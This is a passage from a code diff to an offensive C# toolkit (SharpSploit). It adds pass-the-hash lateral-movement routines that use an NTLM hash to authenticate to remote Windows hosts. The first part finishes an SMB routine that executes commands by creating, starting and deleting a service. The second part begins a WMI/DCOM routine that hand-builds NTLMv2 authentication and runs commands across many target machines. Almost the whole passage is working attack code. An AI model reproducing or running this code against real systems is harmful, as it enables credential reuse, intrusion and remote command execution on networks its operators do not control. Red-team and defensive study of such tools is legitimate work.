Utilities.ConvertFromPacketOrderedDictionary(Packet_RPC_Data); + Packet_SMB2_Data = SMBExec.SMB2WriteRequest(SMB_File_ID, RPC_Data.Length); + SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header); + SMB2_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Data); + int RPC_Data_Length = SMB2_Data.Length + RPC_Data.Length; + NetBIOS_Session_Service = GetNetBIOSSessionService(SMB2_Header.Length, RPC_Data_Length); + if (SMB_Signing) + { + HMAC_SHA256 = new HMACSHA256(); + SMB2_Sign = SMB2_Header.Concat(SMB2_Data).Concat(RPC_Data).ToArray(); + SMB2_Signature = HMAC_SHA256.ComputeHash(SMB2_Sign); + SMB2_Signature = Utilities.GetByteRange(SMB2_Signature, 0, 15); + Packet_SMB2_Header["SMB2Header_Signature"] = SMB2_Signature; + SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header); + } + SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB2_Header).Concat(SMB2_Data).Concat(RPC_Data).ToArray(); + SMBClientReceive = Utilities.SendStream(SMBClientStream, SMB_Client_Send); + SMBClientStage = "ReadRequest"; + SMB_Client_Stage_Next = "StartServiceW"; + } + break; + + case "StartServiceW": + { + if (BitConverter.ToString(Utilities.GetByteRange(SMBClientReceive, 132, 135)) == "00-00-00-00") + { + if (debug) { output.AppendLine(String.Format("Service {0} created on {1}", SMB_Service, Target)); } + SMB_Service_Context_Handle = Utilities.GetByteRange(SMBClientReceive, 112, 131); + SMB2_Message_ID += 20; + Packet_SMB2_Header = SMBExec.SMB2Header(new byte[] { 0x09, 0x00 }, SMB2_Message_ID, SMB2_Tree_ID, SMB_Session_ID); + Packet_SMB2_Header["SMB2Header_CreditRequest"] = new byte[] { 0x7f, 0x00 }; + if (SMB_Signing) + { + Packet_SMB2_Header["SMB2Header_Flags"] = new byte[] { 0x08, 0x00, 0x00, 0x00 }; + } + Packet_SCM_Data = SMBExec.SCMStartServiceW(SMB_Service_Context_Handle); + SCM_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SCM_Data); + Packet_RPC_Data = SMBExec.RPCRequest(new byte[] { 0x03 }, SCM_Data.Length, 0, 0, new byte[] { 0x01, 0x00, 0x00, 0x00 }, new byte[] { 0x00, 0x00 }, new byte[] { 0x13, 0x00 }, null); + RPC_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_RPC_Data); + Packet_SMB2_Data = SMBExec.SMB2WriteRequest(SMB_File_ID, RPC_Data.Length + SCM_Data.Length); + SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header); + SMB2_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Data); + int RPC_Data_Length = SMB2_Data.Length + SCM_Data.Length + RPC_Data.Length; + NetBIOS_Session_Service = GetNetBIOSSessionService(SMB2_Header.Length, RPC_Data_Length); + if (SMB_Signing) + { + HMAC_SHA256 = new HMACSHA256(); + SMB2_Sign = SMB2_Header.Concat(SMB2_Data).Concat(RPC_Data).Concat(SCM_Data).ToArray(); + SMB2_Signature = HMAC_SHA256.ComputeHash(SMB2_Sign); + SMB2_Signature = Utilities.GetByteRange(SMB2_Signature, 0, 15); + Packet_SMB2_Header["SMB2Header_Signature"] = SMB2_Signature; + SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header); + } + SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB2_Header).Concat(SMB2_Data).Concat(RPC_Data).Concat(SCM_Data).ToArray(); + SMBClientReceive = Utilities.SendStream(SMBClientStream, SMB_Client_Send); + SMBClientStage = "ReadRequest"; + SMB_Client_Stage_Next = "DeleteServiceW"; + } + else if (BitConverter.ToString(Utilities.GetByteRange(SMBClientReceive, 132, 135)) == "31-04-00-00") + { + if (debug) { output.AppendLine(String.Format("Service {0} creation failed on {1}", SMB_Service, Target)); } + SMBExec_Failed = true; + } + else + { + if (debug) { output.AppendLine("Service Creation Fault Context Mismatch."); } + SMBExec_Failed = true; + } + } + break; + + case "DeleteServiceW": + { + if (BitConverter.ToString(Utilities.GetByteRange(SMBClientReceive, 108, 111)) == "1d-04-00-00") + { + output.AppendLine(String.Format("Command executed with service {0} on {1}", SMB_Service, Target)); + } + else if (BitConverter.ToString(Utilities.GetByteRange(SMBClientReceive, 108, 111)) == "02-00-00-00") + { + output.AppendLine(String.Format("Service {0} failed to start on {1}", SMB_Service, Target)); + } + + SMB2_Message_ID += 20; + Packet_SMB2_Header = SMBExec.SMB2Header(new byte[] { 0x09, 0x00 }, SMB2_Message_ID, SMB2_Tree_ID, SMB_Session_ID); + Packet_SMB2_Header["SMB2Header_CreditRequest"] = new byte[] { 0x7f, 0x00 }; + if (SMB_Signing) + { + Packet_SMB2_Header["SMB2Header_Flags"] = new byte[] { 0x08, 0x00, 0x00, 0x00 }; + } + + Packet_SCM_Data = SMBExec.SCMDeleteServiceW(SMB_Service_Context_Handle); + SCM_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SCM_Data); + Packet_RPC_Data = SMBExec.RPCRequest(new byte[] { 0x03 }, SCM_Data.Length, 0, 0, new byte[] { 0x01, 0x00, 0x00, 0x00 }, new byte[] { 0x00, 0x00 }, new byte[] { 0x02, 0x00 }, null); + RPC_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_RPC_Data); + Packet_SMB2_Data = SMBExec.SMB2WriteRequest(SMB_File_ID, RPC_Data.Length + SCM_Data.Length); + SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header); + SMB2_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Data); + int RPC_Data_Length = SMB2_Data.Length + SCM_Data.Length + RPC_Data.Length; + NetBIOS_Session_Service = GetNetBIOSSessionService(SMB2_Header.Length, RPC_Data_Length); + if (SMB_Signing) + { + HMAC_SHA256 = new HMACSHA256(); + SMB2_Sign = SMB2_Header.Concat(SMB2_Data).Concat(RPC_Data).Concat(SCM_Data).ToArray(); + SMB2_Signature = HMAC_SHA256.ComputeHash(SMB2_Sign); + SMB2_Signature = Utilities.GetByteRange(SMB2_Signature, 0, 15); + Packet_SMB2_Header["SMB2Header_Signature"] = SMB2_Signature; + SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header); + } + SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB2_Header).Concat(SMB2_Data).Concat(RPC_Data).Concat(SCM_Data).ToArray(); + SMBClientReceive = Utilities.SendStream(SMBClientStream, SMB_Client_Send); + SMBClientStage = "ReadRequest"; + SMB_Client_Stage_Next = "CloseServiceHandle"; + SMB_Close_Service_Handle_Stage = 1; + } + break; + + case "CloseServiceHandle": + { + if (SMB_Close_Service_Handle_Stage == 1) + { + if (debug) { output.AppendLine(String.Format("Service {0} deleted on {1}", SMB_Service, Target)); } + Service_Deleted = true; + SMB2_Message_ID += 20; + SMB_Close_Service_Handle_Stage++; + Packet_SCM_Data = SMBExec.SCMCloseServiceHandle(SMB_Service_Context_Handle); + } + else + { + SMB2_Message_ID++; + SMBClientStage = "CloseRequest"; + Packet_SCM_Data = SMBExec.SCMCloseServiceHandle(SMB_Service_Manager_Context_Handle); + } + if (SMB_Signing) + { + Packet_SMB2_Header["SMB2Header_Flags"] = new byte[] { 0x08, 0x00, 0x00, 0x00 }; + } + + Packet_SMB2_Header = SMBExec.SMB2Header(new byte[] { 0x09, 0x00 }, SMB2_Message_ID, SMB2_Tree_ID, SMB_Session_ID); + Packet_SMB2_Header["SMB2Header_CreditRequest"] = new byte[] { 0x7f, 0x00 }; + SCM_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SCM_Data); + Packet_RPC_Data = SMBExec.RPCRequest(new byte[] { 0x03 }, SCM_Data.Length, 0, 0, new byte[] { 0x01, 0x00, 0x00, 0x00 }, new byte[] { 0x00, 0x00 }, new byte[] { 0x02, 0x00 }, null); + RPC_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_RPC_Data); + Packet_SMB2_Data = SMBExec.SMB2WriteRequest(SMB_File_ID, RPC_Data.Length + SCM_Data.Length); + SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header); + SMB2_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Data); + int RPC_Data_Length = SMB2_Data.Length + SCM_Data.Length + RPC_Data.Length; + NetBIOS_Session_Service = GetNetBIOSSessionService(SMB2_Header.Length, RPC_Data_Length); + if (SMB_Signing) + { + HMAC_SHA256 = new HMACSHA256(); + SMB2_Sign = SMB2_Header.Concat(SMB2_Data).Concat(RPC_Data).Concat(SCM_Data).ToArray(); + SMB2_Signature = HMAC_SHA256.ComputeHash(SMB2_Sign); + SMB2_Signature = Utilities.GetByteRange(SMB2_Signature, 0, 15); + Packet_SMB2_Header["SMB2Header_Signature"] = SMB2_Signature; + SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header); + } + SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB2_Header).Concat(SMB2_Data).Concat(RPC_Data).Concat(SCM_Data).ToArray(); + SMBClientReceive = Utilities.SendStream(SMBClientStream, SMB_Client_Send); + + } + break; + case "CloseRequest": + { + SMB2_Message_ID += 20; + Packet_SMB2_Header = SMBExec.SMB2Header(new byte[] { 0x06, 0x00 }, SMB2_Message_ID, SMB2_Tree_ID, SMB_Session_ID); + Packet_SMB2_Header["SMB2Header_CreditRequest"] = new byte[] { 0x7f, 0x00 }; + if (SMB_Signing) + { + Packet_SMB2_Header["SMB2Header_Flags"] = new byte[] { 0x08, 0x00, 0x00, 0x00 }; + } + + SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header); + SMB2_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Data); + NetBIOS_Session_Service = GetNetBIOSSessionService(SMB2_Header.Length, SMB2_Data.Length); + if (SMB_Signing) + { + HMAC_SHA256 = new HMACSHA256(); + SMB2_Sign = SMB2_Header.Concat(SMB2_Data).ToArray(); + SMB2_Signature = HMAC_SHA256.ComputeHash(SMB2_Sign); + SMB2_Signature = Utilities.GetByteRange(SMB2_Signature, 0, 15); + Packet_SMB2_Header["SMB2Header_Signature"] = SMB2_Signature; + SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header); + } + SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB2_Header).Concat(SMB2_Data).ToArray(); + SMBClientReceive = Utilities.SendStream(SMBClientStream, SMB_Client_Send); + SMBClientStage = "TreeDisconnect"; + } + break; + + case "TreeDisconnect": + { + SMB2_Message_ID++; + Packet_SMB2_Header = SMBExec.SMB2Header(new byte[] { 0x04, 0x00 }, SMB2_Message_ID, SMB2_Tree_ID, SMB_Session_ID); + Packet_SMB2_Header["SMB2Header_CreditRequest"] = new byte[] { 0x7f, 0x00 }; + if (SMB_Signing) + { + Packet_SMB2_Header["SMB2Header_Flags"] = new byte[] { 0x08, 0x00, 0x00, 0x00 }; + } + Packet_SMB2_Data = SMBExec.SMB2TreeDisconnectRequest(); + SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header); + SMB2_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Data); + NetBIOS_Session_Service = GetNetBIOSSessionService(SMB2_Header.Length, SMB2_Data.Length); + if (SMB_Signing) + { + HMAC_SHA256 = new HMACSHA256(); + SMB2_Sign = SMB2_Header.Concat(SMB2_Data).ToArray(); + SMB2_Signature = HMAC_SHA256.ComputeHash(SMB2_Sign); + SMB2_Signature = Utilities.GetByteRange(SMB2_Signature, 0, 15); + Packet_SMB2_Header["SMB2Header_Signature"] = SMB2_Signature; + SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header); + } + SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB2_Header).Concat(SMB2_Data).ToArray(); + SMBClientReceive = Utilities.SendStream(SMBClientStream, SMB_Client_Send); + SMBClientStage = "Logoff"; + } + break; + case "Logoff": + { + SMB2_Message_ID += 20; + Packet_SMB2_Header = SMBExec.SMB2Header(new byte[] { 0x02, 0x00 }, SMB2_Message_ID, SMB2_Tree_ID, SMB_Session_ID); + Packet_SMB2_Header["SMB2Header_CreditRequest"] = new byte[] { 0x7f, 0x00 }; + if (SMB_Signing) + { + Packet_SMB2_Header["SMB2Header_Flags"] = new byte[] { 0x08, 0x00, 0x00, 0x00 }; + } + Packet_SMB2_Data = SMBExec.SMB2SessionLogoffRequest(); + SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header); + SMB2_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Data); + NetBIOS_Session_Service = GetNetBIOSSessionService(SMB2_Header.Length, SMB2_Data.Length); + if (SMB_Signing) + { + HMAC_SHA256 = new HMACSHA256(); + SMB2_Sign = SMB2_Header.Concat(SMB2_Data).ToArray(); + + SMB2_Signature = HMAC_SHA256.ComputeHash(SMB2_Sign); + SMB2_Signature = Utilities.GetByteRange(SMB2_Signature, 0, 15); + Packet_SMB2_Header["SMB2Header_Signature"] = SMB2_Signature; + SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header); + } + SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB2_Header).Concat(SMB2_Data).ToArray(); + SMBClientReceive = Utilities.SendStream(SMBClientStream, SMB_Client_Send); + SMBClientStage = "exit"; + } + break; + } + } + } + if (!Service_Deleted && !AdminCheck) + { + output.AppendLine("Warning: Service not deleted. Please delete Service \"" + SMB_Service + "\" manually."); + } + } + SMBClient.Close(); + SMBClientStream.Close(); + } + + return output.ToString(); + } + private static byte[] GetNetBIOSSessionService(int SMB_Header_Length, int RPC_Data_Length) + { + OrderedDictionary Packet_NetBIOS_Session_Service = SMBExec.NetBIOSSessionService(SMB_Header_Length, RPC_Data_Length); + byte[] NetBIOS_Session_Service = Utilities.ConvertFromPacketOrderedDictionary(Packet_NetBIOS_Session_Service); + return NetBIOS_Session_Service; + + } + } +} + diff --git a/SharpSploit/LateralMovement/WMI.cs b/SharpSploit/LateralMovement/WMI.cs index 5a73a27..b5fea78 100644 --- a/SharpSploit/LateralMovement/WMI.cs +++ b/SharpSploit/LateralMovement/WMI.cs @@ -6,6 +6,15 @@ using System.Linq; using System.Management; using System.Collections.Generic; +using System.Collections.Specialized; +using System.Diagnostics; +using System.Net; +using System.Net.Sockets; +using System.Security.Cryptography; +using System.Text; +using System.Threading; +using SharpSploit.Execution; +using SharpSploit.Misc; using SharpSploit.Generic; @@ -89,5 +98,950 @@ protected internal override IList ResultProperties } } } + + /// + /// Determines if a username and hash has administrative privilege on a Target + /// + /// The Username to query. + /// The NTLM hash for the user + /// The logon domain for the user + /// The Target to query. + /// True for Admin, False for not. + /// Scottie Austin (@checkymander) + /// + /// Based Heavily on Kevin Robertsons Invoke-TheHash toolset (Found + /// at https://github.com/Kevin-Robertson/Invoke-TheHash) + /// + public static bool WMIAdminCheckWithHash(string username, string hash, string domain, string Target) + { + string result = WMIExecuteWithHash(username, hash, domain, Target, AdminCheck: true); + if (result.Contains(" is a local administrator on ")) + return true; + else + return false; + } + + /// + /// Execute a command against multiple targets using Pass the Hash and WMI + /// + /// The username to log on as. + /// The NTLM hash for the user. + /// The logon domain for the user. + /// The Target computers to run the command on. + /// The Command to execute on the Target + /// Sleeptime between actions. Set this if getting unknown failures. (default=15). + /// Check if user is an Admin on the Target only. + /// Include debug information in the output + /// Returns a string containing execution results. + /// Scottie Austin (@checkymander) + /// + /// Based Heavily on Kevin Robertsons Invoke-TheHash toolset (Found + /// at https://github.com/Kevin-Robertson/Invoke-TheHash) + /// + public static string WMIExecuteWithHash(string username, string hash, string domain, List targets, string command = "", int sleep = 15, bool AdminCheck = false, bool debug = false) + { + StringBuilder sb = new StringBuilder(); + foreach (var Target in targets) + { + sb.AppendLine(WMIExecuteWithHash(username, hash, domain, Target, command, sleep, AdminCheck, debug)); + } + + return sb.ToString(); + } + + /// + /// Execute a command against a Target using Pass the Hash and WMI + /// + /// The username to log on as. + /// The NTLM hash for the user. + /// The logon domain for the user. + /// The Target computers to run the command on. + /// The Command to execute on the Target. + /// Sleeptime between actions. Set this if getting unknown failures. (default=15). + /// Check if user is an Admin on the Target only. + /// Include debug information in the output. + /// Returns a string containing execution results. + /// Scottie Austin (@checkymander) + /// + /// Based Heavily on Kevin Robertsons Invoke-TheHash toolset (Found + /// at https://github.com/Kevin-Robertson/Invoke-TheHash) + /// + public static string WMIExecuteWithHash(string username, string hash, string domain, string Target, string command = "", int sleep = 15, bool AdminCheck = false, bool debug = false) + { + string Target_Short = String.Empty; + string processID = BitConverter.ToString(BitConverter.GetBytes(Process.GetCurrentProcess().Id)).Replace("-00-00", "").Replace("-", ""); + string Auth_Hostname = Environment.MachineName; + string Output_Username = String.Empty; + string WMI_Random_Port_String = null; + string Target_Long = String.Empty; + string WMI_Client_Stage = String.Empty; + string WMI_Data = String.Empty; + string OXID = String.Empty; + StringBuilder output = new StringBuilder(); + int Request_Split_Stage = 0; + int Request_Length = 0; + int Sequence_Number_Counter = 0; + int Request_Split_Index_Tracker = 0; + int Request_Auth_Padding = 0; + int OXID_Index = 0; + int OXID_Bytes_Index = 0; + int WMI_Random_Port_Int = 0; + int Target_Process_ID = 0; + bool success = false; + IPAddress Target_Type = null; + byte[] Assoc_Group = null; + byte[] Object_UUID = null; + byte[] IPID = null; + byte[] WMI_Client_Send; + byte[] Object_UUID2 = null; + byte[] Sequence_Number = null; + byte[] Request_Flags = null; + byte[] Process_ID_Bytes = Utilities.ConvertStringToByteArray(processID); + byte[] Request_Call_ID = null; + byte[] Request_Opnum = null; + byte[] Request_UUID = null; + byte[] Request_Context_ID = null; + byte[] Alter_Context_Call_ID = null; + byte[] Alter_Context_Context_ID = null; + byte[] Alter_Context_UUID = null; + byte[] Hostname_Length = null; + byte[] Stub_Data = null; + byte[] WMI_Namespace_Length = null; + byte[] WMI_Namespace_Unicode = null; + byte[] IPID2 = null; + + if (!string.IsNullOrEmpty(hash) && !string.IsNullOrEmpty(username)) + { + if (hash.Contains(":")) + hash = hash.Split(':').Last(); + } + else + { + return "Missing Required Parameters"; + } + + + if (!string.IsNullOrEmpty(domain)) + Output_Username = domain + '\\' + username; + else + Output_Username = username; + + if (Target == "localhost") + { + Target = "127.0.0.1"; + Target_Long = "127.0.0.1"; + } + + try + { + if (debug) { output.AppendLine(String.Format("Connecting to: {0}", Target)); } + Target_Type = IPAddress.Parse(Target); + Target_Short = Target_Long = Target; + } + catch + { + Target_Long = Target; + + if (Target.Contains(".")) + { + int Target_Short_index = Target.IndexOf("."); + Target_Short = Target.Substring(0, Target_Short_index); + } + else + { + Target_Short = Target; + } + } + + var WMI_Client = new TcpClient(); + + try + { + WMI_Client.Connect(Target, 135); + } + catch + { + return "No Response from: " + Target; + } + + if (WMI_Client.Connected) + { + if (debug) { output.AppendLine(String.Format("Connected to: {0}", Target)); } + NetworkStream WMI_Client_Stream = WMI_Client.GetStream(); + byte[] WMI_Client_Receive = new byte[2048]; + byte[] RPC_UUID = new byte[] { 0xc4, 0xfe, 0xfc, 0x99, 0x60, 0x52, 0x1b, 0x10, 0xbb, 0xcb, 0x00, 0xaa, 0x00, 0x21, 0x34, 0x7a }; + OrderedDictionary Packet_RPC = WMIExec.RPCBind(2, new byte[] { 0xd0, 0x16 }, new byte[] { 0x02 }, new byte[] { 0x00, 0x00 }, RPC_UUID, new byte[] { 0x00, 0x00 }); + Packet_RPC["RPCBind_FragLength"] = new byte[] { 0x74, 0x00 }; + WMI_Client_Receive = Utilities.SendStream(WMI_Client_Stream, Utilities.ConvertFromPacketOrderedDictionary(Packet_RPC)); + Packet_RPC = WMIExec.RPCRequest(new byte[] { 0x03 }, 0, 0, 0, new byte[] { 0x02, 0x00, 0x00, 0x00 }, new byte[] { 0x00, 0x00 }, new byte[] { 0x05, 0x00 }, null); + WMI_Client_Receive = Utilities.SendStream(WMI_Client_Stream, Utilities.ConvertFromPacketOrderedDictionary(Packet_RPC)); + string WMI_HostName = BitConverter.ToString(Utilities.GetByteRange(WMI_Client_Receive, 42, WMI_Client_Receive.Length)); + byte[] WMI_Hostname_Bytes = Utilities.ConvertStringToByteArray(WMI_HostName.Substring(0, WMI_HostName.IndexOf("-00-00-00")).Replace("-00", "").Replace("-", "").Replace(" ", "")); + WMI_Hostname_Bytes = Utilities.GetByteRange(WMI_Hostname_Bytes, 0, WMI_Hostname_Bytes.Length); + WMI_HostName = Encoding.ASCII.GetString(WMI_Hostname_Bytes); + if (Target_Short != WMI_HostName) + { + if (debug) { output.AppendLine(String.Format("Switching Target name to {0} due to initial response.", WMI_HostName)); } + Target_Short = WMI_HostName; + } + WMI_Client.Close(); + WMI_Client_Stream.Close(); + WMI_Client = new TcpClient(); + WMI_Client.ReceiveTimeout = 30000; + + try + { + WMI_Client.Connect(Target_Long, 135); + } + catch + { + output.AppendLine(String.Format("No response from {0}", Target)); + return output.ToString(); + } + + if (WMI_Client.Connected) + { + if (debug) { output.AppendLine(String.Format("ReConnected to: {0} ", Target)); } + if (debug) { output.AppendLine("Authenticating"); } + WMI_Client_Stream = WMI_Client.GetStream(); + RPC_UUID = new byte[] { 0xa0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 }; + Packet_RPC = WMIExec.RPCBind(3, new byte[] { 0xd0, 0x16 }, new byte[] { 0x01 }, new byte[] { 0x01, 0x00 }, RPC_UUID, new byte[] { 0x00, 0x00 }); + Packet_RPC["RPCBind_FragLength"] = new byte[] { 0x78, 0x00 }; + Packet_RPC["RPCBind_AuthLength"] = new byte[] { 0x28, 0x00 }; + Packet_RPC["RPCBind_NegotiateFlags"] = new byte[] { 0x07, 0x82, 0x08, 0xa2 }; + WMI_Client_Receive = Utilities.SendStream(WMI_Client_Stream, Utilities.ConvertFromPacketOrderedDictionary(Packet_RPC)); + string WMI_NTLMSSP = BitConverter.ToString(WMI_Client_Receive).Replace("-", ""); + int WMI_NTLMSSP_index = WMI_NTLMSSP.IndexOf("4E544C4D53535000"); + int WMI_NTLMSSP_bytes_index = WMI_NTLMSSP_index / 2; + int WMI_Domain_Length = Utilities.DataLength(WMI_NTLMSSP_bytes_index + 12, WMI_Client_Receive); + int WMI_target_Length = Utilities.DataLength(WMI_NTLMSSP_bytes_index + 40, WMI_Client_Receive); + byte[] WMI_NTLM_Challenge = Utilities.GetByteRange(WMI_Client_Receive, WMI_NTLMSSP_bytes_index + 24, WMI_NTLMSSP_bytes_index + 31); + byte[] WMI_Target_Details = Utilities.GetByteRange(WMI_Client_Receive, WMI_NTLMSSP_bytes_index + 56 + WMI_Domain_Length, WMI_NTLMSSP_bytes_index + 55 + WMI_Domain_Length + WMI_target_Length); + byte[] WMI_Target_Time_Bytes = Utilities.GetByteRange(WMI_Target_Details, WMI_Target_Details.Length - 12, WMI_Target_Details.Length - 5); + StringBuilder sb = new StringBuilder(); + for (int i = 0; i < hash.Length - 1; i += 2) { sb.Append(hash.Substring(i, 2) + "-"); }; + byte[] NTLM_hash_bytes = (Utilities.ConvertStringToByteArray(hash.Replace("-", ""))); + byte[] Auth_Hostname_Bytes = Encoding.Unicode.GetBytes(Auth_Hostname); + byte[] Auth_Domain_Bytes = Encoding.Unicode.GetBytes(domain); + byte[] Auth_Username_Bytes = Encoding.Unicode.GetBytes(username); + byte[] Auth_Domain_Length = BitConverter.GetBytes(Auth_Domain_Bytes.Length); + Auth_Domain_Length = new byte[] { Auth_Domain_Length[0], Auth_Domain_Length[1] }; + byte[] Auth_Username_Length = BitConverter.GetBytes(Auth_Username_Bytes.Length); + Auth_Username_Length = new byte[] { Auth_Username_Length[0], Auth_Username_Length[1] }; + byte[] Auth_Hostname_Length = BitConverter.GetBytes(Auth_Hostname_Bytes.Length); + Auth_Hostname_Length = new byte[] { Auth_Hostname_Length[0], Auth_Hostname_Length[1] }; + byte[] Auth_Domain_offset = new byte[] { 0x40, 0x00, 0x00, 0x00 }; + byte[] Auth_Username_Offset = BitConverter.GetBytes(Auth_Domain_Bytes.Length + 64); + byte[] Auth_Hostname_Offset = BitConverter.GetBytes(Auth_Domain_Bytes.Length + Auth_Username_Bytes.Length + 64); + byte[] Auth_LM_Offset = BitConverter.GetBytes(Auth_Domain_Bytes.Length + Auth_Username_Bytes.Length + Auth_Hostname_Bytes.Length + 64); + byte[] Auth_NTLM_Offset = BitConverter.GetBytes(Auth_Domain_Bytes.Length + Auth_Username_Bytes.Length + Auth_Hostname_Bytes.Length + 88); + HMACMD5 HMAC_MD5 = new HMACMD5(); + HMAC_MD5.Key = NTLM_hash_bytes; + string Username_And_Target = username.ToUpper(); + byte[] Username_Bytes = Encoding.Unicode.GetBytes(Username_And_Target); + byte[] Username_And_Target_bytes = Username_Bytes.Concat(Auth_Domain_Bytes).ToArray(); + byte[] NTLMv2_hash = HMAC_MD5.ComputeHash(Username_And_Target_bytes); + Random r = new Random(); + byte[] Client_Challenge_Bytes = new byte[8]; + r.NextBytes(Client_Challenge_Bytes); + byte[] Security_Blob_Bytes = (new byte[] { 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }) + .Concat(WMI_Target_Time_Bytes) + .Concat(Client_Challenge_Bytes) + .Concat(new byte[] { 0x00, 0x00, 0x00, 0x00 }) + .Concat(WMI_Target_Details) + .Concat(new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }).ToArray(); + + byte[] Server_Challenge_And_Security_Blob_Bytes = WMI_NTLM_Challenge.Concat(Security_Blob_Bytes).ToArray(); + HMAC_MD5.Key = NTLMv2_hash; + byte[] NTLMv2_Response = HMAC_MD5.ComputeHash(Server_Challenge_And_Security_Blob_Bytes); + byte[] Session_Base_Key = HMAC_MD5.ComputeHash(NTLMv2_Response); + NTLMv2_Response = NTLMv2_Response.Concat(Security_Blob_Bytes).ToArray(); + byte[] NTLMv2_Response_Length = BitConverter.GetBytes(NTLMv2_Response.Length); + NTLMv2_Response_Length = new byte[] { NTLMv2_Response_Length[0], NTLMv2_Response_Length[1] }; + byte[] WMI_Session_Key_Offset = BitConverter.GetBytes(Auth_Domain_Bytes.Length + Auth_Username_Bytes.Length + Auth_Hostname_Bytes.Length + NTLMv2_Response.Length + 88); + byte[] WMI_Session_Key_Length = new byte[] { 0x00, 0x00 }; + byte[] WMI_Negotiate_Flags = new byte[] { 0x15, 0x82, 0x88, 0xa2 }; + + byte[] NTLMSSP_response = (new byte[] { 0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x03, 0x00, 0x00, 0x00, 0x18, 0x00, 0x18, 0x00 }) + .Concat(Auth_LM_Offset) + .Concat(NTLMv2_Response_Length) + .Concat(NTLMv2_Response_Length) + .Concat(Auth_NTLM_Offset) + .Concat(Auth_Domain_Length) + .Concat(Auth_Domain_Length) + .Concat(Auth_Domain_offset) + .Concat(Auth_Username_Length) + .Concat(Auth_Username_Length) + .Concat(Auth_Username_Offset) + .Concat(Auth_Hostname_Length) + .Concat(Auth_Hostname_Length) + .Concat(Auth_Hostname_Offset) + .Concat(WMI_Session_Key_Length) + .Concat(WMI_Session_Key_Length) + .Concat(WMI_Session_Key_Offset) + .Concat(WMI_Negotiate_Flags) + .Concat(Auth_Domain_Bytes) + .Concat(Auth_Username_Bytes) + .Concat(Auth_Hostname_Bytes) + .Concat(new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }) + .Concat(NTLMv2_Response).ToArray(); + + Packet_RPC = WMIExec.RPCAuth3(NTLMSSP_response); + WMI_Client_Send = Utilities.ConvertFromPacketOrderedDictionary(Packet_RPC); + WMI_Client_Stream.Write(WMI_Client_Send, 0, WMI_Client_Send.Length); + WMI_Client_Stream.Flush(); + byte[] Causality_ID_Bytes = new byte[16]; + r.NextBytes(Causality_ID_Bytes); + OrderedDictionary Packet_DCOM_Remote_Create_Instance = WMIExec.DCOMRemoteCreateInstance(Causality_ID_Bytes, Target_Short); + byte[] DCOM_Remote_Create_Instance = Utilities.ConvertFromPacketOrderedDictionary(Packet_DCOM_Remote_Create_Instance); + Packet_RPC = WMIExec.RPCRequest(new byte[] { 0x03 }, DCOM_Remote_Create_Instance.Length, 0, 0, new byte[] { 0x03, 0x00, 0x00, 0x00 }, new byte[] { 0x01, 0x00 }, new byte[] { 0x04, 0x00 }, null); + WMI_Client_Send = Utilities.ConvertFromPacketOrderedDictionary(Packet_RPC).Concat(DCOM_Remote_Create_Instance).ToArray(); + WMI_Client_Receive = Utilities.SendStream(WMI_Client_Stream, WMI_Client_Send); + TcpClient WMI_Client_Random_Port = new TcpClient(); + WMI_Client_Random_Port.Client.ReceiveTimeout = 30000; + + if (WMI_Client_Receive[2] == 3 && BitConverter.ToString(Utilities.GetByteRange(WMI_Client_Receive, 24, 27)) == "05-00-00-00") + { + output.AppendLine("WMI Access Denied"); + return output.ToString(); + } + else if (WMI_Client_Receive[2] == 3) + { + string Error_Code = BitConverter.ToString(new byte[] { WMI_Client_Receive[27], WMI_Client_Receive[26], WMI_Client_Receive[25], WMI_Client_Receive[24] }); + string[] Error_Code_Array = Error_Code.Split('-'); + Error_Code = string.Join("", Error_Code_Array); + output.AppendLine(String.Format("Error Code: 0x{0}", Error_Code.ToString())); + return output.ToString(); + } + else if (WMI_Client_Receive[2] == 2 && 